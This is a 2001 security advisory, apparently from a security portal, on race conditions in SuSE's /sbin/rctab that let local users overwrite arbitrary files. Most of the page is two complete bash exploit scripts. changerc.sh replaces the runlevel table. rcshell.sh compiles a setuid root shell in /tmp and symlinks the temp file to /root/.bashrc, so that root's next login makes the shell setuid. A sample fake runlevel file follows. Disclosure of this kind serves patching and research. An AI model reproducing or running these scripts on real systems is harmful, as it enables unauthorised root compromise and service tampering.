[ advisories | exploits | discussions | news | conventions | security tools | texts & papers ]
 main menu
- feedback
- advertising
- privacy
- FightAIDS
- newsletter
- news
 
 discussions
- read forum
- new topic
- search
 

 meetings
- meetings list
- recent additions
- add your info
 
 top 100 sites
- visit top sites
- sign up now
- members
 
 webmasters

- add your url
- add domain
- search box
- link to us

 
 projects
- our projects
- free email
 
 m4d network
- security software
- secureroot
- m4d.com
Home : Advisories : Vulnerabilities in SuSE rctab

Title: Vulnerabilities in SuSE rctab
Released by:
Date: 15th January 2001
Printable version: Click here


Problem description

-------------------



Due to a various race conditions in the init level editing script

/sbin/rctab it is possible for any local user to overwrite any system's

file with arbitrary data. This may result in denial of service attack,

local or even remote root compromise, if root runs the /sbin/rctab

script.





Details

-------



The /sbin/rctab script doesn't check for links writing the temporary

rctmp file to /tmp/rctmpdir.$PID dir. Also the directory created isn't

chown'ed root. Because the PID of the rctab script can be guessed (or

looked up, however), any local user can replace the temporary rctmp file

with arbitrary content. This can be exploited in one of the following

manners:



a) local user replaces the rctmp with his own, resulting in

enabling/disabling any valid service listed in /sbin/init.d directory.

This may lead to a system running a vulnerable service after the

runlevel has been switched, resulting in further remote root compromise.



b) local user force the rctab script to write the content of rctmp file

to any other system's file including /etc/passwd or /etc/shadow. This

results in denial of service too.



c) local user trick the rctab script to write the contents of rctmp file

predecessed by some arbitrary data to some sensitive system file. In

conjunction with any sort of shell script executed by the root user and

the 'in here documents' it is possible to run any command inside the

attacked shell script.



d) ...and much more





Vulnerable Systems

------------------



At least SuSE 6.1-7.0, maybe other systems using rctab.





Exploit

-------



Attached 2 exploits



rcshell.sh: gives you r00tshell assuming that /root/.bashrc is present,

root runs crontab -e and saves the changes after changing something in

the runlevel table _and_ login again. (Yes, in some cases the script

will fail ;-)



changerc.sh: replaces system's inittable with an arbitrary one (assuming

rctab -e is run too)





IhaQueR.







-----------------------------------------------------------------

so now the scripts:



[changerc.sh]



#!/bin/bash

# any user can force changes to runlevels

# by IhaQueR



declare -i PLOW

declare -i PHIGH





# CONFIG:



PLOW=1

PHIGH=3



TMP="/tmp"

FAKERC="/tmp/fakerc"

RCTMPDIR="rctmpdir"

RCTMP="rctmp"



_pwd="$PWD"



#

echo "----------------------------------------------"

echo "|                                            |"

echo "|             rctab exploit                  |"

echo "|            by IhaQueR '2001                |"

echo "|                                            |"

echo "----------------------------------------------"

echo



# crate dirs

echo "[+] now creating directories"

echo "    this may take a while"

echo



declare -i cnt

cnt=$PLOW

umask 700



while [ $cnt -lt $PHIGH ]

do

cnt=$(($cnt+1))

if [ $(($cnt % 128)) -eq 0 ] ; then

printf "[%6d] " $cnt

fi;

if [ $(($cnt % 1024)) -eq 0 ] ; then

echo

fi;

mkdir -p "$TMP/$RCTMPDIR.$cnt"

done



echo

echo

echo "    finished creating dirs"

echo



# wait for rctab -e

declare -i rctabpid

rctabpid=0

echo "[+] waiting for root to run rctab"



while [ 1 ]

do

rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'`

if test $rctabpid -gt 1 ; then

break

fi

sleep 1

done



# rcfile in

rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP"



echo "[+] got rctab -e at pid $rctabpid"



# test if we own the directory

rcdir="/tmp/rctmpdir.$rctabpid"



if test -O $rcdir ; then

echo "[+] ok, we own the dir"

else

echo "[-] hm, we are not owner"

exit 2

fi



# wait for root to finish editing

sleep 4

declare -i vipid

vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'`



echo "    root is editing now at $vipid, wait for $rcfile"



pfile="/proc/$vipid"



while test -d $pfile

do

echo -n >/dev/null

done

rm -rf $rcfile

cp $FAKERC $rcfile



echo "[+] gotcha!"

echo "    installed new rctab from $FAKERC"





-----------------------------------------------------------------



[rcshell.sh]



#!/bin/bash

# any user can force changes to runlevels

# by IhaQueR



declare -i PLOW

declare -i PHIGH



# CONFIG:



PLOW=1

PHIGH=3



TMP="/tmp"

FAKERC=/tmp/fakerc

RCTMPDIR="rctmpdir"

RCTMP="rctmp"

WRITETO="/root/.bashrc"

SUSH="/tmp/sush"



# what we want to write to $WRITETO (oops...)

declare -i idx

idx=0

rchead=""



while test "$idx" -lt 128 ; do

rchead="$rchead "

idx=$(($idx+1))

done



rchead="$rchead chown root.root $SUSH; chmod 4777 $SUSH | cat >/dev/null

<<_DUPA_"



_pwd="$PWD"





#

echo "----------------------------------------------"

echo "|                                            |"

echo "|        local rctab root exploit            |"

echo "|           you would need luck              |"

echo "|       and an admin stupid enough           |"

echo "|            by IhaQueR '2001                |"

echo "|                                            |"

echo "----------------------------------------------"

echo



# test sys

awkl=$(which awk)

if test -x $awkl ; then

echo "[+] awk found"

else

echo "[-] awk not found, edit this script :-)"

exit 1

fi



if test -r /sbin/rctab ; then

        echo "[+] rctab found"

else

        echo "[-] rctab not found, sorry"

        exit 1

fi



# make suid shell

echo "[+] compiling suid shell"

cat << _DUPA_ >/tmp/sush.c

#include 

main(int argc, char** argv) {setuid(0); setgid(0); execv("/bin/sh",

argv); }

_DUPA_



# compile shell

gcc /tmp/sush.c -o $SUSH





# crate dirs

echo "[+] now creating directories"

echo "    this may take a while"

echo



declare -i cnt

cnt=$PLOW

umask 000



while [ $cnt -lt $PHIGH ]

do

cnt=$(($cnt+1))

if [ $(($cnt % 128)) -eq 0 ] ; then

printf "[%6d] " $cnt

fi;

if [ $(($cnt % 1024)) -eq 0 ] ; then

echo

fi;

mkdir -p "$TMP/$RCTMPDIR.$cnt"

done



echo

echo

echo "    finished creating dirs"

echo



# wait for rctab -e

declare -i rctabpid

rctabpid=0

echo "[+] waiting for root to run rctab"



while [ 1 ]

do

rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'`

if test $rctabpid -gt 1 ; then

break

fi

sleep 1

done



# rcfile in

rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP"



# append our cmd

echo >$rcfile "$rchead"



echo "[+] got rctab -e at pid $rctabpid"



# test if we own the directory

rcdir="/tmp/rctmpdir.$rctabpid"



if test -O $rcdir ; then

echo "[+] ok, we own the dir"

else

echo "[-] hm, we are not owner"

exit 2

fi



# wait for editor

declare -i vipid

vipid=0

while [ $vipid -lt 1 ]

do

vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'`

done



echo "    root is editing now at pid $vipid, wait for writing $rcfile"

sleep 1



pfile="/proc/$vipid"



# relink

declare -i lcnt

lcnt=$(wc -l $rcfile|awk '{print $1-2 }')

tail -n$lcnt $rcfile >$rcfile.new

rm -rf $rcfile

ln -sf $WRITETO $rcfile



if test -r "$WRITETO" ; then

md=$(cat $WRITETO|md5sum)

fi



if test -r $WRITETO ; then

ac=$(ls -l --full-time $WRITETO)

else

ac="none"

fi



# wait for root to write rctab or exit

while test -d $pfile

do

if test -r "$WRITETO" ; then

oc="$(ls -l --full-time $WRITETO)"

if test "$ac" != "$oc" ; then

echo "[+] $WRITETO replaced"

break

fi

fi

done

rm -rf $rcfile; ln -s $rcfile.new $rcfile



if test "$md" = "$(cat $WRITETO|md5sum)" ; then

echo "[-] bashrc not changed, sorry"

exit 2

else

echo "[+] gotcha! wait for root to login"

fi



# now wait for root to login :-)

while test -O $SUSH ; do

sleep 1

done



echo "[+] suid shell at $SUSH"

sleep 1

$SUSH





-----------------------------------------------------------------



[sample fakerc]



#

# Generated by rctab: Fri Jan 12 21:02:40 CET 2001

#

#  Special scripts

#

#  halt   -- only for runlevel 0

#  reboot -- only for runlevel 6

#  single -- only for single user mode

#

#  Remaining services

#

# apache argus at autofs boot.setup cdb cipe cron dummy firewall gpm

# halt.local inetd inn ipfwadm ircd kbd kerneld lpd masquerade named

network

# nfs nfsserver ntopd pcnfsd pings quota quotad random rinetd route

routed

# rpc rwhod scanlogd sendmail serial smb squid sshd syslog xdm xinetd

xntpd

# ypclient yppasswdd ypserv ypxfrd

#

Runlevel:1  Runlevel:2  Runlevel:3  Runlevel:4  Runlevel:5

kerneld     kerneld     kerneld     -           -

serial      serial      serial      -           -

dummy       dummy       dummy       -           -

syslog      network     network     -           -

boot.setup  firewall    firewall    -           -

gpm         masquerade  masquerade  -           -

kbd         route       route       -           -

random      cipe        cipe        -           -

-           rpc         rpc         -           -

-           argus       argus       -           -

-           nfs         nfs         -           -

-           scanlogd    scanlogd    -           -

-           syslog      syslog      -           -

-           boot.setup  boot.setup  -           -

-           routed      routed      -           -

-           named       named       -           -

-           quota       quota       -           -

-           nfsserver   nfsserver   -           -

-           pcnfsd      pcnfsd      -           -

-           quotad      quotad      -           -

-           yppasswdd   yppasswdd   -           -

-           ypserv      ypserv      -           -

-           ypxfrd      ypxfrd      -           -

-           ypclient    ypclient    -           -

-           autofs      autofs      -           -

-           apache      apache      -           -

-           at          at          -           -

-           gpm         inetd       -           -

-           inetd       inn         -           -

-           inn         ipfwadm     -           -

-           ipfwadm     ircd        -           -

-           ircd        kbd         -           -

-           kbd         lpd         -           -

-           lpd         ntopd       -           -

-           ntopd       random      -           -

-           random      rinetd      -           -

-           rinetd      rwhod       -           -

-           rwhod       sendmail    -           -

-           sendmail    smb         -           -

-           smb         squid       -           -

-           squid       sshd        -           -

-           sshd        xinetd      -           -

-           xinetd      xntpd       -           -

-           xntpd       cron        -           -

-           cron        xdm         -           -

-           pings       -           -           -

-           -           -           -           -

-           -           -           -           -

-           -           -           -           -

-           -           -           -           -

-           -           -           -           -

-           -           -           -           -








(C) 1999-2000 All rights reserved.